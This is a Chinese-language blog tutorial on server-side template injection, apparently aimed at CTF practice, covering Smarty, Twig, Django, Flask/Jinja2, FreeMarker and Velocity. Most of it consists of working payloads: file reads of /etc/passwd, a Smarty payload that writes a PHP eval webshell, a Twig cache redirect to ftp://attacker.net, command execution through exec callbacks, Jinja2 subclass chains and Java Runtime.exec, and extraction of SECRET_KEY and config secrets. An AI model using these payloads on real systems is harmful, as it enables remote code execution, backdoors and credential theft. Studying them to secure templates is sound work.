本篇博客主要介绍了服务端模板注入漏洞及其利用方式!

什么是模板注入?

服务端模板注入(SSTI),全称Server-Side Template Injection,与我们熟知的SQL注入、命令注入等原理大同小异,当用户的输入数据没有被合理的处理控制时,就有可能数据插入了程序段中变成了程序的一部分,从而改变了程序的执行逻辑。

常见的模板引擎

各框架模板结构:

PHP

Smarty

Smarty是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function)

但是,实际上对语言的限制并不能影响我们执行命令,因为我们首先考虑的应该是模板本身,恰好 Smarty 很照顾我们,在阅读模板的文档以后我们发现:$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的的方法。

getStreamVariable()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function getStreamVariable($variable)
{
$_result = '';
$fp = fopen($variable, 'r+');
if ($fp) {
while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
$_result .= $current_line;
}
fclose($fp);

return $_result;
}
$smarty = isset($this->smarty) ? $this->smarty : $this;
if ($smarty->error_unassigned) {
throw new SmartyException('Undefined stream variable "' . $variable . '"');
} else {
return null;
}
}

因此我们可以用这个方法读文件,payload:

1
{self::getStreamVariable("file:///etc/passwd")}

class Smarty_Internal_Write_File

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
class Smarty_Internal_Write_File
{
/**
* Writes file in a safe way to disk
*
* @param string $_filepath complete filepath
* @param string $_contents file content
* @param Smarty $smarty smarty instance
*
* @throws SmartyException
* @return boolean true
*/
public function writeFile($_filepath, $_contents, Smarty $smarty)
{
$_error_reporting = error_reporting();
error_reporting($_error_reporting & ~E_NOTICE & ~E_WARNING);
if ($smarty->_file_perms !== null) {
$old_umask = umask(0);
}

$_dirpath = dirname($_filepath);
// if subdirs, create dir structure
if ($_dirpath !== '.' && !file_exists($_dirpath)) {
mkdir($_dirpath, $smarty->_dir_perms === null ? 0777 : $smarty->_dir_perms, true);
}

// write to tmp file, then move to overt file lock race condition
$_tmp_file = $_dirpath . DS . str_replace(array('.', ','), '_', uniqid('wrt', true));
if (!file_put_contents($_tmp_file, $_contents)) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_tmp_file}");
}

/*
* Windows' rename() fails if the destination exists,
* Linux' rename() properly handles the overwrite.
* Simply unlink()ing a file might cause other processes
* currently reading that file to fail, but linux' rename()
* seems to be smart enough to handle that for us.
*/
if (Smarty::$_IS_WINDOWS) {
// remove original file
if (is_file($_filepath)) {
@unlink($_filepath);
}
// rename tmp file
$success = @rename($_tmp_file, $_filepath);
} else {
// rename tmp file
$success = @rename($_tmp_file, $_filepath);
if (!$success) {
// remove original file
if (is_file($_filepath)) {
@unlink($_filepath);
}
// rename tmp file
$success = @rename($_tmp_file, $_filepath);
}
}
if (!$success) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_filepath}");
}
if ($smarty->_file_perms !== null) {
// set file permissions
chmod($_filepath, $smarty->_file_perms);
umask($old_umask);
}
error_reporting($_error_reporting);

return true;
}
}

可以看到writeFile函数第三个参数一个 Smarty 类型,后来找到了 self::clearConfig(),函数原型:

1
2
3
4
public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}

因此我们可以构造payload写个webshell:

1
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())}

Twig

相比于 Smarty ,Twig 无法调用静态方法,并且所有函数的返回值都转换为字符串,也就是我们不能使用 self:: 调用静态变量了,但是 通过官方文档的查询:Twig 给我们提供了一个 _self, 虽然 _self 本身没有什么有用的方法,但是却有一个 env。

env是指属性Twig_Environment对象,Twig_Environment对象有一个 setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置(不知道为什么官方文档没有看到这个方法,后来找到了Twig 的源码中的 environment.php)

因此,明显的攻击是通过将缓存位置设置为远程服务器来引入远程文件包含漏洞:

payload:

1
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

但是新的问题出现了allow_url_include 一般是不打开的,没法包含远程文件,没关系还有个调用过滤器的函数 getFilter()

这个函数中调用了一个 call_user_function 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function getFilter($name)
{
[snip]
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {//注意这行
return $filter;
}
}
return false;
}

public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}

我们只要把exec() 作为回调函数传进去就能实现命令执行了

payload:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Python

Django

1
2
3
def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))

注入点很明显就是 email,但是如果我们的能力已经被限制的很死,很难执行命令,但又想获取和 User 有关的配置信息的话,怎么办?

可以发现我们现在拿到的只有有一个 和user 有关的变量,那就是 request user ,那我们的思路是什么?

p牛在自己的博客中分享了这个思路,我把它引用过来:

Django是一个庞大的框架,其数据库关系错综复杂,我们其实是可以通过属性之间的关系去一点点挖掘敏感信息。但Django仅仅是一个框架,在没有目标源码的情况下很难去挖掘信息,所以我的思路就是:去挖掘Django自带的应用中的一些路径,最终读取到Django的配置项

什么意思,简单地说就是我们在没有应用源码的情况下要学会去寻找框架本身的属性,看这个空框架有什么属性和类之间的引用,然后一步一步的靠近我们的目标

后来发现Django自带的应用“admin”(也就是Django自带的后台)的models.py中导入了当前网站的配置文件:

所以,思路就很明确了:我们只需要通过某种方式,找到Django默认应用admin的model,再通过这个model获取settings对象,进而获取数据库账号密码、Web加密密钥等信息。

1
2
3
?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}

?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

Flask/jinja2

Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, request, render_template_string, render_template
app = Flask(__name__)
@app.route('/hello-template-injection')

def hello_ssti():
person = {'name':"world", 'secret':"UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=="}
if request.args.get('name'):
person['name'] = request.args.get('name')
template = '''<h2>Hello %s!</h2>''' % person['name']
return render_template_string(template, person=person)

def get_user_file(f_name):
with open(f_name) as f:
return f.readlines()

app.jinja_env.globals['get_user_file'] = get_user_file

if __name__ == "__main__":
app.debug = True
app.run(host="0.0.0.0")

我们就可以SSTI将secret泄露出来

1
hello-template-injection?name=MoonBack.{{person.secret}}

同样我们可以用get_user_file读取文件

假设我们用下面的payload:

1
{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('ipconfig').read()}}

我们就可以成功执行命令

而漏洞点就存在于:

1
2
template = '''<h2>Hello %s!</h2>''' % person['name']
return render_template_string(template, person=person)

如果改成

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/hello-template-injection')
def hello_ssti():
person = {'name':"world", 'secret':"UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=="}
if request.args.get('name'):
person['name'] = request.args.get('name')
return render_template("index.html",title='Home',username=person['name'])
if __name__ == "__main__":
app.debug = True
app.run(host="0.0.0.0")

再在templates目录里写入index.html

1
2
3
4
5
6
7
8
<html>
<head>
<title>{{title}}</title>
</head>
<body>
<h1>Hello, {{username}}</h1>
</body>
</html>

再访问发现就没能成功解析出secret

漏洞成因在于render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,两个大括号在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把两个大括号包裹的内容当做变量解析替换。

获取全局配置文件

config是Flask模版中的一个全局对象,它代表”当前配置对象(flask.config)”,它是一个类字典的对象,它包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。

1
2
3
4
5
{{config}}
{{person.secret}}
{{self.__dict__}}
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
命令执行

直接用Vlunhub上的exp:https://github.com/vulhub/vulhub/tree/master/flask/ssti

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

Tornado

参见护网杯的一道题:https://www.moonback.xyz/2020/01/16/buuctf%E5%88%B7%E9%A2%98-%E4%BB%A3%E7%A0%81%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E7%AF%87/#%E6%8A%A4%E7%BD%91%E6%9D%AF-2018-easy-tornado

Java

freeMarker

这个模板主要用于 java ,粗略得知new会导致安全问题,用户可以通过实现 TemplateModel 来用 new 创建任意 Java 对象

payload:

1
2
3
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

<#assignob="freemarker.template.utility.ObjectConstructor"?new()> ${ ex("id") }

Velocity

Velocity 同样是一款备受欢迎的模板语言。然而它没有默认变量列表和 安全问题 页面帮助我们构建 payload。下面展示了 Burp Intruder 在枚举变量名时的截图:(变量名在 payload 行,服务器结果在其右边):

这幅图中,被高亮的 class 能返回对象,看上去十分有趣。谷歌一下,我们发现了如下描述
ClassTool:在模板中实现Java的反射,默认参数:$key

这里有几个可利用的方法和属性:
$class.inspect(class/object/string):返回正在审查类或对象的ClassTool实例
$class.type:返回被审查的类

换句话说,我们可以通过这两个类获得任意对象信息。再利用目标的Runtime.exec()执行任意命令嗯。通过如下模板,我们可以验证这一点:

1
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor() //延迟了5秒

得到 shell 命令输出有点麻烦(毕竟java):

1
2
3
4
5
6
7
8
9
10
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

//输出 tomcat7

参考:

https://www.k0rz3n.com/2018/11/12/一篇文章带你理解漏洞之SSTI漏洞/

评论